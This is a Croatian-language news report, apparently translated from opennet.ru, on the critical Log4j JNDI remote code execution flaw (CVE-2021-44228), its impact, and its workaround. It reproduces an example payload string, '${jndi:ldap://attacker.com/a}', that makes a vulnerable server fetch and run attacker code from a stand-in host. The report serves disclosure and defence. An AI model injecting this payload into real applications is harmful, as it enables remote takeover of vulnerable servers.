Kritična ranjivost u Apache Log4j, koja pogađa mnoge Java projekte

U Apache Log4j, popularnom okviru za organizaciju logiranja u Java aplikacijama, otkrivena je kritična ranjivost koja omogućava izvršavanje proizvoljnog koda pri snimanju posebno oblikovane vrijednosti u formatu "{jndi:URL}". Napad može biti proveden na Java aplikacijama koje bilježe vrijednosti dobivene iz vanjskih izvora, na primjer, prilikom ispisivanja problematičnih vrijednosti u porukama o pogreškama.

Primijećeno je da su gotovo svi projekti koji koriste okvire poput Apache Struts, Apache Solr, Apache Druid ili Apache Flink podložni ovom problemu, uključujući Steam, Apple iCloud, klijente i servere igre Minecraft. Očekuje se da bi ranjivost mogla dovesti do vala masovnih napada na korporativne aplikacije, ponavljajući povijest kritičnih ranjivosti u okviru Apache Struts, koji se procjenjuje da se koristi u web aplikacijama 65% kompanija s Fortune 100 liste. Već su zabilježeni pokušaji skeniranja mreže u potrazi za ranjivim sustavima.

Problem se pogoršava zbog toga što je već objavljen funkcionalni eksploitat, dok trenutačne ispravke za stabilne grane još nisu objavljene. CVE identifikator još nije dodijeljen. Ispravka je uključena samo u testnu granu log4j-2.15.0-rc1. Kao prijelazno rješenje za blokiranje ranjivosti preporučuje se postavljanje parametra log4j2.formatMsgNoLookups na vrijednost true.

Problem je uzrokovan time što log4j podržava obradu posebnih maski "{}" u ispisanim logovima, unutar kojih su se mogli izvršavati JNDI (Java Naming and Directory Interface) upiti. Napad se svodi na slanje stringa s zamjenom "${jndi:ldap://attacker.com/a}", pri čemu log4j šalje na server attacker.com LDAP upit za put do Java klase. Vraćen serverom put (na primjer, http://second-stage.attacker.com/Exploit.class) napadača bit će preuzet i izvršen u kontekstu trenutnog procesa, što napadaču omogućava izvršavanje proizvoljnog koda na sustavu s pravima trenutne aplikacije.

Dopuna 1: Ranjivosti je dodijeljen identifikator CVE-2021-44228.

Dopuna 2: Otkriven je način zaobilaženja zaštite dodane u verziji log4j-2.15.0-rc1. Predložena je nova nadogradnja log4j-2.15.0-rc2 s potpunijom zaštitom od ranjivosti. U kodu se ističe promjena koja se odnosi na nepostojanje rušilačkog završetka u slučaju korištenja nepravilno oblikovanog JNDI URL-a.

Izvor: opennet.ru

Kupite pouzdan hosting za web stranice s DDoS zaštitom, VPS VDS servere 🔥 Kupite pouzdan hosting za web stranice s DDoS zaštitom, VPS VDS servere | ProHoster